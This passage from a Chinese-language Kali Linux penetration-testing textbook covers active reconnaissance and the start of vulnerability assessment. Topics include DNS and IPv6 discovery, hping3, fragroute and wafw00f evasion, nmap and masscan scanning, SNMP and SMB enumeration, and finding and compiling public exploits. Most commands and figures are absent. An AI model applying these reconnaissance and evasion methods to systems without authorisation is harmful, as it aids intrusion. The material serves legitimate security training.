多年来，whois命令一直是用于识别IP地址的第一步，直到《通用数据保护条例》实施。之前，该命令允许人们查询互联网资源中的相关信息数据库，数据库包含注册用户的域名或IP地址。依赖于查询的数据库，对whois请求的响应将会提供名字、物理地址、电话号码和电子邮件地址（可用于社会工程学攻击），也包括IP地址和DNS服务器名。2018年5月25日以后，数据库不再提供注册用户的个人资料。但是，攻击者知道，whois服务器的响应和检索域数据的结果，包括可用性、所有权、创建、过期时间信息，以及域名。

图3-6显示了使用whois命令获取cyberhia.com域的相关信息。

图3-6　使用whois命令获取cyberhia.com域的相关信息

3.3　利用综合侦察应用程序

虽然Kali包含多个工具以促进侦察，但是许多工具包含相同的功能，将数据从一个工具导入另一个通常也是一个复杂的手动过程。大多数测试者会选择工具的一个子集，并使用脚本调用它们。

最初的综合侦察工具是命令行工具，附带一组定义的功能。其中最常用的是DMitry（Deep Magic Information Gathering Tool，DMitry）工具。DMitry可以执行whois查询、检索netcraft.com信息、搜索子域、电子邮件地址，并进行TCP扫描。不幸的是，除了这些功能，它是不可扩展的。

图3-7提供了在www.cyberhia.com上运行DMitry的详细信息：

近来提出的综合框架应用程序结合了主动侦察和被动侦察。接下来我们将详细介绍recon-ng框架。

图3-7　在www.cyberhia.com上运行DMitry

3.3.1　recon-ng框架

recon-ng框架是进行（主动和被动）侦察的开源框架。与Metasploit框架和社会工程学工具包（Social Engineer Toolkit，SEToolkit）类似，recon-ng采用了模块化的框架。每个模块都是一个定制的cmd解析器，为执行特定任务做预配置。

recon-ng框架及其模块是用Python编写的，允许渗透测试人员轻松地构建或改变模块以方便测试。

recon-ng框架工具利用第三方API进行一些评估，这种额外的灵活性意味着reconng采取的一些活动可能会被第三方跟踪。用户可以自定义一个useragent字符串或代理请求，以尽量减少警告目标网络。

Kali的新版中默认都安装了recon-ng。通过recon-ng收集的所有数据被放置在一个数据库中，使你能够创建针对存储数据的各种报告。用户可以选择报告模块中的任意一个来自动创建，可以是CVS报告，也可以是HTML报告。

要启用程序，在提示符下输入recon-ng，如图3-8所示。初始屏幕将显示本模块的数量，并且help命令将显示可用于导航的命令。

要显示可用的模块，在类型提示符recon-ng>后输入show。要加载特定的模块，输入load，其后紧跟模块的名称。在输入时，按下Tab键会自动补全输入的命令。如果模块具有独特的名称，可以输入名称的独特之处，这样不必输入完整路径就可加载模块。

图3-8　输入recon-ng命令启动程序

输入info将提供模块工作的信息，以及在必要时于何处获得API密钥。

一旦模块被加载，使用set命令设置选项，然后输入run来执行，如图3-9所示。

图3-9　使用info查看模块

总的来说，测试人员依靠recon-ng可以完成以下几点：

·使用Whois来获得连接，包括Jigsaw、Linkedin和Twitter（用mangle模块提取并呈现电子邮件数据）。

·识别主机。

·使用hostop、ipinfodb、maxmind、uniapple和wigle识别主机及个人的地理位置。

·使用netcraft及相关模块识别主机信息。

·识别以前被攻击入侵过并在互联网上泄露过的账户及其密码信息（pwnedlist模块、wascompanyhacked、xssed和punkspider）。

IPV4

IP（互联网协议）地址是识别连接到私有网或者公共网的设备的唯一号码。当今的互联网大部分是基于IPv4的。Kali包含几个工具用来方便DNS侦察，如表3-2所示。

表3-2　Kali DNS侦察的几个工具

测试期间，大多数调查者运行fierce来确认已经识别的所有可能的目标，然后运行至少两个综合性的工具（例如dnsenum和dnsrecon）来生成最多的数据，并提供一个交叉验证等级。

下面使用dnsrecon生成一个标准的DNS记录搜索，并且这个搜索是特定于SRV记录的。每个例子的结果摘录见图3-10。

图3-10　dnsrecon搜索域名相关信息结果

dnsrecon允许渗透测试人员获得SOA记录、名称服务器（Name Server，NS）、邮件交换（Mail Exchanger，MX）主机、使用发送者政策框架（Sender Policy Framework，SPF）发送电子邮件的服务器，以及使用的IP地址范围。

IPV6

虽然IPv4似乎允许一个很大的地址空间，但是，免费可用的IP地址在几年前就已经耗尽了，必须使用NAT技术来提升可用地址的数量。一个更持久的解决方法已经找到，即采用改进的IP地址方案——IPv6。虽然只有少于5%的互联网在使用IPv6地址，但它的使用率的确在增长，渗透测试人员必须处理IPv4和IPv6之间的不同。

在IPv6中，源地址和目标地址的长度都是128位，可扩展为2¹²⁸个可能的地址，也就是3.4×10³⁸个地址。

随着可寻址地址空间大小的增加，地址空间给渗透测试人员也带来了一些问题，尤其是使用扫描器在可用地址空间中寻找在线服务器的时候。然而IPv6协议的一些特征已经简化了发现过程，尤其是可以使用ICMPv6确定活跃的本地链路地址。

在进行初始扫描时，必须考虑IPv6，原因如下：

·测试工具对IPv6功能的支持不是普遍的，所以测试人员必须确定每一个工具在IPv4、IPv6、混合网络中的性能和准确性。

·由于IPv6是一个相当新的协议，目标网络可能包含泄露重要数据的错误配置，测试人员必须准备好识别并利用这个信息。

·早先的网络协议（防火墙、IDS和IPS）可能不会测出IPv6。在这些情况下，渗透测试人员可以利用IPv6信道保持与网络的隐蔽通信，并泄露出未检测到的数据。

3.3.2　使用IPv6专用工具

Kali包含几个利用IPv6的工具（大多数综合的扫描器，例如nmap，现在也支持IPv6），见表3-3，绝大部分支持IPv6的工具源自THC-IPv6攻击包。

表3-3　Kali包含的支持IPv6的工具

Metasploit也可以用于IPv6主机发现。auxiliary/scanner/discovery/ipv6_multicast_ping模块将发现具有物理（MAC）地址的所有启用IPv6的计算机，如图3-11所示。

THC IPv6套件atk6-alive6将发现同一段中的活跃地址，如图3-12所示。

图3-11　执行auxiliary/scanner/discovery/ipv6_multicast_ping命令

图3-12　执行atk6-alive6命令

3.3.3　映射路由到目标

路由映射最开始是一个路由诊断工具，用于查看IP数据包从一个主机到另一个主机的路由连接。通过使用IP数据包中的存活时间TTL（Time To Live）变量，每一跳（hop）在从一点到下一点时，从接收路由器引出一个ICMPTIME_EXCEEDED消息，同时TTL字段的值减1。数据包会计算跳以及使用的路由器的数量。

从攻击者或者渗透测试人员的角度看，traceroute数据有以下重要数据：

·攻击者与目标之间的准确路径。

·关于网络外部拓扑结构的提示。

·识别可能过滤攻击流的访问控制设备（防火墙和包过滤路由器）。

·如果网络配置错误，可能会识别内部地址。

使用基于Web的traceroute（www.traceroute.org），可以追查到目标网络不同地理位置的源站点。这些形式的扫描，可以识别不止一个连接目标的不同网络，在一个接近目标网络的位置，通过执行单个的traceroute，可能忽略掉一些扫描识别信息。基于Web的traceroute可能识别多重初始地址的主机，该主机把两个或者更多个网络连接起来。这些主机是攻击者的重点攻击目标，因为它们大幅度提高了对目标网络的攻击面。

在Kali系统中，traceroute是一个命令行程序，利用ICMP包来映射路由。在Windows系统中，该程序是tracert。

如果在Kali中启动traceroute，你可能看到大多数过滤掉的跳（用***表示数据）。例如，从作者现在的位置到demo.cyberhia.com，执行traceroute命令的结果如图3-13所示。

图3-13　在Kali中使用traceroute命令

然而，如果在Windows命令行中用tracert执行相同的请求，我们会看到如图3-14所示的信息。

图3-14　在Windows中使用tracert命令

我们不仅能得到完整的路径，而且还能看到www.google.com正被解析为一个略有不同的IP地址，这表明负载均衡器是起作用的（你可以使用Kali的lbd脚本来确认其是否起作用，当然，该活动可能被目标站点记录）。

不同路径数据存在的原因是，默认情况下，traceroute使用UDP数据报，而在Windows中，tracert使用ICMP返回请求（ICMP type 8）。因此，当使用Kali工具完成一个traceroute时，为了获得最完整的路径并绕过数据包过滤设备，使用多重协议是很重要的。

Kali提供下列工具来完成路由追踪，见表3-4。

表3-4　Kali提供的路由追踪工具

由于对数据包类型、源数据包，以及目的地数据包的控制，hping3已成为最有用的工具之一。例如，Google不允许ping请求。然而，如果将数据包作为一个TCP SYN请求发送，则有可能ping通服务器。

在下面的例子中，测试员试图在命令行中ping通Google。返回的数据确定了demo.cyberhia.com是一个未知的主机。Google很明显阻塞了基于ICMP的ping命令。然而，下一条命令调用了hping3，命令它做以下事情：

·使用有SYN标识集（-S）的TCP向Google发送一个类ping命令。

·把数据包直接发送到80端口，该类型的合法请求是很少被阻塞的（-p 80）。

·为发送给目标的三个数据包设置计数（-c 3）。

执行上面的步骤所使用的命令行如图3-15所示。

图3-15　在Kali中使用ping命令和hping3命令

hping3命令成功地确定了目标在线，并提供了一些基本的路由信息。

3.4　识别外部网络基础设施

一旦测试者的身份被保护，扫描网络的关键第一步就是确定在网络上的互联网可接入部分的设备。

攻击者和渗透测试人员使用这些信息来做到以下几点：

·确定可能混淆（负载均衡器）或消除（防火墙和数据包检查设备）测试结果的设备。

·识别已知漏洞的设备。

·识别继续实施秘密扫描的需求。

·获得目标对安全体系结构和一般安全性的关注的理解。

traceroute提供了关于包过滤能力的基本信息。Kali包括的一些其他应用如表3-5所示。

表3-5　Kali的一些常见应用

图3-16显示的是在Google上运行lbd脚本获得的结果。你可以看到，Google在它的网站上同时使用了DNS–Loadbalancing与HTTP–Loadbalancing。从渗透测试者的角度来看，这些信息可以用来解释为什么得到的是杂散的结果，因为负载均衡器作为一个特定的工具，将活动从一个服务器转移到了另一个服务器。

图3-16　针对Google的测试结果

3.5　防火墙外映射

攻击者通常使用traceroute实用程序启动网络调试，该程序尝试把路由上的所有主机映射到特定的目标主机或系统上。一旦目的到达，TTL字段将为零，则目标将丢弃该数据报并生成超过ICMP时间的数据包返回到发起者。定期的traceroute如图3-17所示。

图3-17　执行traceroute程序进行路由跟踪

从上面的例子可以看出，我们不能绕过一个特定的IP：这意味着最有可能在第4跳有一个包过滤设备。攻击者会深入了解该IP上部署的内容。

部署默认UDP数据报选项，它会在每次发送UDP数据报时增加端口号。因此，攻击者将开始指向一个端口号码以达到最终的目标地址。

3.6　IDS/IPS识别

渗透测试员可以利用fragroute和Wafw00f来识别特定位置是否存在任何检测或预防机制，例如入侵检测系统（Intrusion Detection System，IDS）/入侵防御系统（Intrusion Prevention System，IPS）/Web应用防火墙（Web Application Firewall，WAF）。

fragroute是Kali Linux中的一个默认工具，它可以执行数据包分段。网络数据包允许攻击者拦截、修改并重写到特定目标的出口流量。该工具在高度安全的远程环境中非常方便。

图3-18提供了fragroute中确定网络ID的选项列表。

图3-18　使用fragroute命令

攻击者还可以编写自定义配置来执行片段攻击：延迟、复制、丢弃、分段、重叠、重新排序、源路由和分割。图3-19是一个自定义配置的示例。

图3-19　fragroute自定义配置

对目标实施fragroute只需运行fragroute target.com。如果target.com发生任何连接，攻击者就可以看到要发送到target.com的流量。注意，只有存在到目标的路由时，才能将路由分段。如图3-20所示，IP段按照自定义配置文件分段。

图3-20　查看其他IP发送到目标IP所用流量

攻击者在主动侦察期间利用的另一个工具是wafw00f。此工具预安装在最新版本的Kali Linux中。它用于识别和指纹Web应用程序防火墙（Web Application Firewall，WAF）产品。它还提供了众所周知的WAF列表。可以通过在命令中输入-l（例如wafwoof -l）来列出该列表。

图3-21显示了在Web应用程序后运行的WAF。

图3-21　WAF列表

3.7　枚举主机

主机枚举是获得已定义主机的特定细节的过程。仅仅知道服务器或无线接入点存在是不够的，我们还需要确定开放端口、基本操作系统、运行的各种服务、支撑的各种应用等内容，来不断扩大攻击面。

这具有高度的侵入性，除非特别小心，否则主动侦察将被目标系统检测到，并被记录。

发现活跃主机

第一步是运行针对目标地址空间的网络ping扫描并寻找答复，特别的信息会表明一个特定的目标是活跃的、有能力应答的。从历史经验看，ping侦测主要使用ICMP。当然，TCP、UDP、ICMP和ARP通信也可用于认证主机的活跃情况。

各种扫描器都可以通过Internet远程运行，用来识别活跃主机。虽然主扫描器是nmap，但Kali提供的另外几种应用也是有用的，如表3-6所示。

表3-6　Kali提供的几种扫描工具

对于渗透测试者或攻击者，从活跃主机发现返回的数据可用来确定攻击目标。

进行渗透测试的同时，运行多个主机发现扫描。某些设备可能是时间相关的。在一次渗透测试中，发现系统管理员在正常工作时间结束后，设置了一个游戏服务器。因为游戏服务器不是一个经批准的商业系统，管理员没有按照正常的流程来保护服务器。在其上发现了多个脆弱的服务，它们并没有打上必要的安全补丁。测试人员能够攻击游戏服务器，在管理员的游戏服务器中，使用漏洞并获得企业网络的底层接入。

3.8　识别端口、操作系统和服务

Kali提供了几种不同的有用工具，用于识别远程主机上的开放端口、操作系统和安装的服务。这些功能大多可以使用nmap完成。尽管我们将专注于利用nmap的例子，但基本原则也适用于其他工具。

端口扫描

端口扫描是连接到TCP和UDP端口，以确定何种服务、何种应用程序在目标设备上运行的过程。在每个系统上的TCP和UDP有65 535个端口。某些端口已知与特定服务相关联（例如TCP20和TCP21是用于文件传输协议服务（FTP）的通用端口）。前1024个是众所周知的端口，并且定义的大多数服务在此范围内的端口上运行。被认可的服务和端口由IANA维护（http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml）。

虽然，对一些特定的服务存在已被接受的端口，如用于基于网络的流量的80端口接收端口，但是，服务可以直接使用任何端口。此选项通常用于隐藏特定的服务，特别是如果已知该服务是易受攻击的。然而，如果攻击者完成端口扫描，并没有找到预期的服务，或发现它使用了一个不寻常的端口，他们将被提示做进一步调查。

通用端口映射工具nmap依靠活动栈指纹。特制的数据包被发送到目标系统，nmap以操作系统对这些数据包的响应来识别这些操作系统。为了使nmap正常工作，至少须有一个监听端口是开放的，而操作系统必须是已知和有指纹的，还有，该指纹的副本必须在本地数据库。

将nmap用于端口发现是有很大的噪声的，将被网络安全设备检测并记录。要记住如下几点：

·侧重于隐形技术的攻击者和渗透测试人员只测试那些影响他们所追踪的特定目标的杀链的端口。如果他们已在发起了对Web服务器的漏洞的攻击，他们通过可访问的80端口或8080端口搜索目标。

·大多数端口扫描器都有一个默认扫描端口列表，确保你知道什么在列表上，什么被省略。同时考虑TCP端口和UDP端口。

·成功的扫描需要TCP/IP及相关协议、网络和一些特殊工具工作原理的深度知识。例如，SCTP是网络上一个越来越普遍的协议，但它很少在企业网络上测试。

·即使慢慢来，端口扫描也会影响网络。对一些较旧的网络设备，以及供应商的一些特定设备，在接收或传输端口扫描时会锁定，从而把扫描转换为一个拒绝服务攻击。

·用来扫描一个端口的工具，尤其是nmap，正在扩展常规的功能。它们也可以用来检测漏洞，甚至利用简单的安全漏洞。

3.9　使用netcat编写自己的端口扫描器

攻击者利用代理应用程序和Tor网络，也可以编写自己的网络端口扫描器。通过netcat使用以下命令行，即可在渗透测试中识别开放端口列表，如图3-22所示。

图3-22　查看开放端口列表

相同的脚本还可以修改为在单个IP上进行更有针对性的攻击，如下所示：

在使用自定义端口扫描器的扫描入侵检测系统时，产生警报的概率很高。

3.9.1　指纹识别操作系统

要确定远程系统的操作系统，使用以下两种类型的扫描。

·主动指纹识别（active fingerprinting）：攻击者通过发送正常的和异常的数据包到目标系统，记录它们的反应模式，称其为指纹（fingerprint）。将指纹与本地数据库进行比较，操作系统可被确定。

·被动指纹识别（passive fingerprinting）：攻击者嗅探或记录和分析数据包流，以确定该分组的特性。

主动指纹比被动指纹更快、更准确。在Kali中，两个主要的主动工具是nmap和xprobe2。

nmap工具注入数据包到目标网络，并分析它收到的响应。如下命令中，-O标志命令nmap确定操作系统：

一个相关的程序——xprobe2使用不同的TCP、UDP和ICMP数据包绕过防火墙，避免被IDS/IPS系统检测。xprobe2还使用模糊模式匹配：操作系统不会被确定为一种类型，相反，会被分配为几个可能的变体之一。

注意，目标系统很容易隐藏真实的操作系统。因为指纹软件依赖于分组包设置，如生存时间或初始窗口大小，改变这些值或其他用户可配置的设置，可以改变工具的结果。有些组织积极改变这些值，使侦察的最后阶段更加困难。

3.9.2　确定主动服务

侦察的枚举部分的最终目标是确定运行在目标系统上的服务和应用。如果可能的话，攻击者想知道服务类型、供应商和版本，以确定具体的漏洞。

下面是用于确定主动服务的几种技术：

·确定默认的端口和服务：如果远程系统被识别为微软操作系统且80端口（WWW服务）为打开状态，攻击者可能会认为默认安装的是微软IIS服务器。进一步的测试将用来验证这种假设（nmap）。

·标志提取：使用amap、netcat、nmap和远程登录等工具完成该任务。

·审查默认网页：一些应用程序安装使用默认的管理、错误或其他页面。如果攻击者访问这些页面，它们会提供安装应用程序的指导，这可能是攻击的漏洞。在图3-23中，攻击者可以很容易地识别已经安装在目标系统上的Apache Tomcat的版本。

·审查源代码：配置不当的基于Web的应用程序可能应答某些HTTP请求，如头部（HEAD）或选项（OPTIONS），回应包括Web服务器软件版本，或基础操作系统，或使用的脚本环境。在图3-23中，netcat是从命令行启动的，并用于将原始HEAD数据包发送到特定网站。该请求将生成一个错误消息（404not found）。然而，它也指出，该服务器正在运行Apache2.4.37，应用服务器为PHP5.6.39。

图3-23　审查源代码

3.10　大规模扫描

在测试具有大量B/C类型的IP地址的大型组织时，往往需要进行大规模扫描。例如，在一个全球化公司中，通常有一些IP分组作为外部互联网的一部分存在。正如第2章中提到的，攻击者的扫描没有时间限制，但渗透测试人员有。测试人员可以使用多种工具来执行此活动。Masscan是其中一种工具，它可以大规模扫描IP分组，并迅速分析目标网络中的活跃主机。Masscan默认安装在Kali中。它的最大优势是随机分配主机、端口、速度、灵活性和兼容性。图3-24提供了一个C类扫描网络，几秒钟内就可以完成并识别80端口上的可用HTTP服务和目标主机上运行的服务。

图3-24　利用Masscan进行大规模扫描

3.10.1　DHCP信息

动态主机配置协议（Dynamic Host Configuration Protocol，DHCP）是一种为网络上的主机动态分配IP地址的服务。该协议在TCP/IP协议栈的数据链路层的MAC子层上运行。选择自动配置后，客户端将向DHCP服务器发送广播查询，当从DHCP服务器接收到响应时，客户端再向DHCP服务器发送广播查询请求所需信息。服务器现在将为其分配配置参数（如子网掩码、DNS和默认网关）及一个IP地址。

一旦连接到网络，嗅探（Sniffing）就是被动收集信息的最好方法。攻击者能够看到很多广播流量，如图3-25所示。

图3-25　攻击者嗅探到各种信息

我们将看到DNS、NBNS、BROWSER和其他协议的流量，而且这些协议可能会泄露主机名、VLAN信息、域，以及活动子网等。我们将在第11章中讨论更多利用嗅探的攻击。

3.10.2　内部网络主机的识别与枚举

如果攻击者系统已经配置了DHCP，它会提供一些对内部网络映射非常有用的信息。可以通过在Kali终端输入ifconfig来获得DHCP信息，如图3-26所示。

图3-26　用ifconfig命令获取DHCP信息

你将看到以下信息：

·inet：DHCP服务器获取的IP信息应当给我们提供至少一个活跃的子网，我们可以使用它通过不同的扫描技术来识别实时系统和服务的列表。

·netmask：此信息可用于计算子网范围，图3-26显示的是255.255.240.0，这意味着CIDR是/20，我们可能期望子网上有4094台主机。

·默认网关：网关的IP信息将提供ping其他类似网关IP的机会。例如，如果默认网关IP为192.168.1.1，则使用ping扫描攻击者可能能够枚举出其他类似的IP，如192.168.2.1、192.168.3.1等。

·其他IP地址：可通过访问/etc/resolv.conf文件获取DNS信息。该文件中的IP地址通常在所有子网中进行寻址，域信息也将在同一文件中自动可用。

3.10.3　本地MS Windows命令

表3-7提供了渗透测试或红队练习时的有用命令列表，甚至在对系统进行物理访问或远程shell与目标进行通信时也会有用。以下命令只是其中一部分。

表3-7　命令列表

3.10.4　ARP广播

在内部网络主动侦察期间，可以使用nmap（nmap-v-sn IPrange）扫描整个本地网络，以嗅探ARP广播。此外，Kali可使用arp-scan（arp-scan IP range）来标识在同一网络上活跃的主机列表。

图3-27提供了针对整个子网运行arp-scan时在目标处生成的流量，这被认为是非秘密扫描。

图3-27　查看运行arp-scan时在目标处生成的流量

3.10.5　ping扫描

ping扫描是ping整个网络IP地址或单个IP，以查明它们是否活跃和响应的过程。攻击者在任何大规模扫描中的第一步是枚举所有响应的主机。渗透测试人员可以利用fping、nmap，甚至是自己编写的bash脚本进行该活动。

有时，由于防火墙阻止所有ICMP流量，攻击者可能会在ping扫描期间遇到路障。在ICMP分组的情况下，可以通过在ping扫描期间指定端口号的特定列表来进行识别，需要使用如下命令：

图3-28显示了使用fping工具发现的所有活跃的主机。

图3-28　使用fping发现活跃的主机

3.10.6　使用脚本组合masscan和nmap扫描

在基于目标的渗透测试策略中，masscan的速度和可靠性与nmap的枚举能力相结合，是一个伟大的组合。本节将编写一个可以节省时间的小脚本，用于在开发过程和确定正确漏洞的过程中提供更准确的结果：

现在保存文件到anyname.sh和chmod+x anyname.sh。再运行命令：./anyname.shfilein-cludesipranges。

执行完命令后，你将看到如图3-29所示的画面。

图3-29　执行脚本文件

3.10.7　利用SNMP

SNMP代表简单网络管理协议。传统上它用于收集有关网络设备配置的信息，如打印机、集线器、交换机、互联网协议的路由器、服务器。攻击者可能会利用在UDP端口161（默认情况下）运行的SNMP，当配置不正确或缺省时，默认配置有一个默认社区字符串（community string）。SNMP自1987年开始开发：版本1传输明文密码，版本2c有一些性能的改进，但仍然是纯文本密码，最新的v3加密了具有消息完整性的所有流量。

在所有版本的SNMP中都有两种类型的社区字符串：

·Public：用于只读访问的社区字符串。

·Private：用于读写访问的社区字符串。

攻击者首先要寻找的是互联网上的任何已识别的网络设备，并查明是否启用公共社区字符串，以便他们能够提取特定于网络的所有信息，并绘制拓扑以创建更集中的攻击。这些问题的出现，是因为大多数时间基于IP的访问控制列表（Access Control Listing，ACL）通常未被实现或未被使用。

Kali Linux提供了多种工具来完成SNMP枚举，攻击者可以利用snmpwalk命令了解SNMP步骤的完整信息，如图3-30所示：

图3-30　用snmpwalk了解SNMP步骤的完整信息

攻击者还可以使用Metasploit执行SNMP枚举，方法是使用/auxiliary/scanner/snmp/snmpenum模块，如图3-31所示。某些系统已安装SNMP，但系统管理员可能忽略它。

图3-31　用Metasploit执行SNMP枚举

攻击者将能够通过Metasploit中的账户枚举模块来提取所有用户账户，如图3-32所示。

图3-32　提取目标用户账户

3.10.8　通过服务器消息块会话获取Windows账户信息

通常，在内部网络扫描期间，攻击者很有可能利用最常用的内部SMB会话。而在外部，攻击者可以使用nmap来执行枚举，但这种情况非常少见。以下nmap命令将枚举Windows机器上的所有远程用户。此信息通常会创建许多入口点，非常像后期的强制攻击和密码猜测攻击：

攻击者还可以使用Metasploit模块——auxiliary/scanner/smb/smb_enumusers来执行活动。图3-33显示了Windows系统上运行Metasploitable3的用户的成功枚举。

图3-33　用Metasploitable3执行枚举

这可以通过对系统有效的密码猜测或者强制SMB登录来实现。

3.10.9　定位网络共享

如今，已经被遗忘的、渗透测试人员最早使用的攻击之一是NETBIOS空会话，该攻击可以枚举出所有的网络共享：

同样，利用enum4linux（类似于来自bindview.com的enum.exe，现由Symantec接管），此工具通常用于枚举来自Windows和Samba系统的信息：

选项有（enum）：

·-U：获取用户列表

·-M：获取机器列表

·-S：获取共享列表

·-P：获取密码策略信息

·-G：获取组和成员列表

·-d：详细说明，适用于-U和-S

·-u user：指定要使用的用户名（默认为""）

·-p pass：指定要使用的密码（默认为""）

enum4linux能提供更有效的扫描，并可标识域名列表和Domain SID，如图3-34所示。

图3-34　用enum4linux扫描IP地址

3.10.10　主动侦察目录域服务器

通常在内部渗透测试活动期间，渗透测试人员会获得用户名和密码。在现实中，攻击者在网络上的攻击方案是通过正常的用户访问来提升权限，从而达到攻破企业域的目的。

Kali提供了一个默认安装的rpcclient，可用于在活动目录环境中执行更主动的侦察。该工具提供了多个选项来提取关于域和其他网络服务的所有细节，我们将在第10章中进行探讨。

图3-35提供了域、用户和组列表的枚举。

图3-35　用rpcclient工具进行枚举

3.10.11　使用综合工具

为加快完成渗透测试人员的目标，Kali拥有SPARTA，它结合了多种工具，如nmap、nikto，并且还允许进行配置。为了配置SPARTA，用户必须编辑位于/etc/Sparta/的sparta.conf文件。当应用程序打开时，SPARTA将检查配置，如果没有配置，它将接受默认配置值。

在配置中可使用以下选项：

·工具（Tool）：命令行工具的唯一标识符，例如nmap。

·标签（Label）：显示在上下文菜单上的文本。

·命令（Command）：通常是非交互模式和使用工具运行的完整命令。

·服务（Services）：这些是在自动运行期间需要运行的服务列表，例如，如果用户配置为运行nmap并且自动识别80端口，请运行nikto。

·协议（Protocol）：TCP或UDP是工具应该运行于其上的服务。

3.10.12　SPARTA配置实例

要将nikto工具配置为端口操作，我们需要将以下行添加到sparta.conf中的[PortActions]部分：

图3-36展示了SPARTA针对本地子网的操作。在默认情况下，SPARTA可以在任何标识的Web服务端口上执行nmap全端口扫描nikto，并且还可以使用截图（如果可用）。

图3-36　使用SPARTA对本地子网进行操作

3.11　小结

攻击者可能面临着其活动被识别的非常真实的风险，而我们现在已经探索了在主动侦察中可以使用的不同技术。攻击者必须确保在进行网络映射、查询开放端口和服务、判定操作系统及安装的应用程序等活动时，需要进行风险和需求的平衡。所以攻击者的真正挑战是采取秘密扫描技术，以降低他们被发现的风险。

手动方法通常用于创建低速扫描（slow scan），然而，这种做法可能并不总是有效。因此，攻击者可以利用Tor网络以及各种代理程序等工具来隐藏自己的身份。

第4章我们将探讨更多关于漏洞评估的技术和程序：如何利用扫描器来识别漏洞，这些漏洞可以作为潜在的候选来利用，从而进一步实现目标。

第4章　漏洞评估

被动侦察和主动侦察的目的是确定可利用的目标，漏洞评估的目的是找出最有可能支持测试人员或攻击者目标（拒绝服务、盗窃或修改数据）的安全漏洞。在杀链的利用阶段，漏洞评估的重点是创建访问以实现漏洞的目标映射，以排列漏洞和保持对目标的持续访问。

数以千计可利用的漏洞已经确定，而且大多数是与至少一个概念验证代码文件或技术相关联的，允许系统受到攻击。尽管如此，网络、操作系统和应用程序成功的基本原理是相同的。

在本章中，你将学习：

·使用在线和本地漏洞资源

·使用nmap进行漏洞扫描

·Lua脚本

·用nmap脚本引擎（Nmap Scripting Engine，NSE）编写自己的nmap脚本

·选择和自定义各种漏洞扫描器

·安装Nexpose和Nessus

·通用威胁建模

4.1　漏洞命名

漏洞扫描采用自动化过程和自动化应用程序，以确定在网络、系统、操作系统或应用程序中可利用的漏洞。

当执行正确时，一个漏洞扫描装置提供一个设备清单（授权和恶意设备），已经主动扫描已知的漏洞，通常还会提供一个确认的符合该设备的各种政策和法规的说明。

不幸的是，漏洞扫描提供一些容易被大多数网络控制检测到的噪声——多分数据包，隐形几乎不可能实现。它们还遭受以下附加的限制：

·在大多数情况下，漏洞扫描器是基于签名的，它们只能检测已知的漏洞，且仅当有一个已经存在的识别标志——该扫描仪可以应用于目标。对一个渗透测试者，最有效的扫描软件是开源的，允许测试人员快速修改代码来检测新的漏洞。

·扫描器产生大量的输出，通常包含错误结果，可能导致测试人员误入歧途。特别是，不同的操作系统的网络，产生的不正确信息的比率高达70%左右。

·扫描器可能对网络有负面影响，它们可以造成网络延迟或导致某些设备的失效推荐通过在初始扫描期间删除拒绝服务类型插件来调整扫描。

·在某些控制区，扫描被认为是黑客攻击，并可能构成违法行为。

漏洞扫描软件既有开源的也有商用的。

4.2　本地和在线漏洞数据库

总之，被动侦察和主动侦察确定了目标的攻击面，也就是说，可以对漏洞进行评估的点的总数。服务器是否能够被渗透与所安装的操作系统是否存在漏洞相关。然而，潜在的漏洞数量将随着安装的应用程序的数量的增长而增长。

渗透测试者和攻击者必须找到即将攻击的具体漏洞，包括已知的漏洞以及怀疑的漏洞。漏洞搜索可以从供应商的网站开始。在发布补丁和升级的同时，大多数的硬件和应用程序供应商都会提供和安全漏洞相关的信息。如果一个特定弱点的利用是已知的，大多数供应商都会向客户强调那些特定的、已知的漏洞。虽然他们的目的是让客户来测试漏洞是否存在，但同时，攻击者和渗透测试人员也可以利用这类信息。

收集、分析和共享有关漏洞的网站信息如下：

·国家漏洞数据库，整合了所有由美国政府发布的公开漏洞数据：http://web.nvd.nist.gov/view/vuln/search。

·安全监控网站Secunia：http://secunia.com/community/。

·数据包风暴安全网址：http://packetstormsecurity.com/。

·安全焦点网址：http://www.securityfocus.com/vulnerabilities。

·由Offensive Security维护的可以利用的漏洞数据库网址：http://www.exploit-db.com。

·渗透测试人员可以浏览一下https://0day.today/获取零日漏洞信息。

漏洞数据库也被复制到本地Kali，并且可以在/usr/share/exploitdb目录中找到。

搜索漏洞数据库（exploitdb）的本地副本，需要打开终端窗口，在命令提示符下输入searchsploit和需要搜索的关键词。这将调用一个脚本，脚本搜索含所有漏洞列表的数据库文件（.csv）。搜索将返回对已知漏洞的描述，以及和该漏洞相关的路径。特定漏洞可以被提取、编译和运行。图4-1是vs FTPd漏洞的结果。

图4-1　vs FTPd漏洞

搜索脚本从左至右扫描数据库CSV文件中的每一行，因此搜索项的顺序很重要，搜索Oracle10g将返回多个漏洞，但10g Oracle本身不会返回任何漏洞。并且，该脚本是区分大小写的。尽管提示你使用小写字符的搜索词，搜索“vsFTPd”不会返回任何结果，而“vs FTPd”（“vs”和“FTPd”中间有空格）则会返回很多结果。使用grep命令，或者搜索工具如KWrite（apt-get install kwrite），可以对CSV文件进行更加有效的搜索。

对本地数据库的搜索可能会识别出几种可能的漏洞，附带有一个描述和路径列表。然而，这需要根据你的相应环境进行定制，并在使用前进行编译。复制漏洞到/tmp目录下（给定路径不考虑保留在/platforms目录中的/windows/remote目录）。

漏洞利用以脚本的形式呈现，例如，Perl、Ruby和PHP等，都是相对易于实现的脚本语言。例如，如果攻击目标是Microsoft IIS6.0服务器，攻击者会相对容易绕过远程认证，复制该漏洞利用到根目录，然后像标准的Perl脚本那样执行，如图4-2所示。

图4-2　运行标准的Perl脚本

许多漏洞在使用前必须像源代码那样进行编译。例如，搜索RPC-specific漏洞，识别多种可能的漏洞利用。摘录如图4-3所示。

RPC DCOM漏洞识别工具，如76.c，实践中证明它是相对稳定的。因此，我将以它作为例子。为了编译该漏洞利用工具，首先将它从存储目录复制到/tmp下。在该位置，通过以下命令使用GCC进行编译：

图4-3　PRC相关漏洞

这里将使用GNU编译器集对76.c进行编译，然后输出（-o）文件76.exe，如图4-4所示。

图4-4　用GNU编译76.c，生成76.exe

当针对目标调用应用程序时，你必须使用如下所示的符号链接来调用可执行文件（该文件并未存储在/tmp目录）：

这个漏洞利用的源代码有清晰的文档记录，并且需要执行的参数一目了然，如图4-5所示。

图4-5　76.exe文件的运行参数

遗憾的是，不是所有来自漏洞数据库和其他公共资源的漏洞都像76.c一样容易编译。这里为渗透测试人员列出了几种可能存在危险的漏洞利用情况：

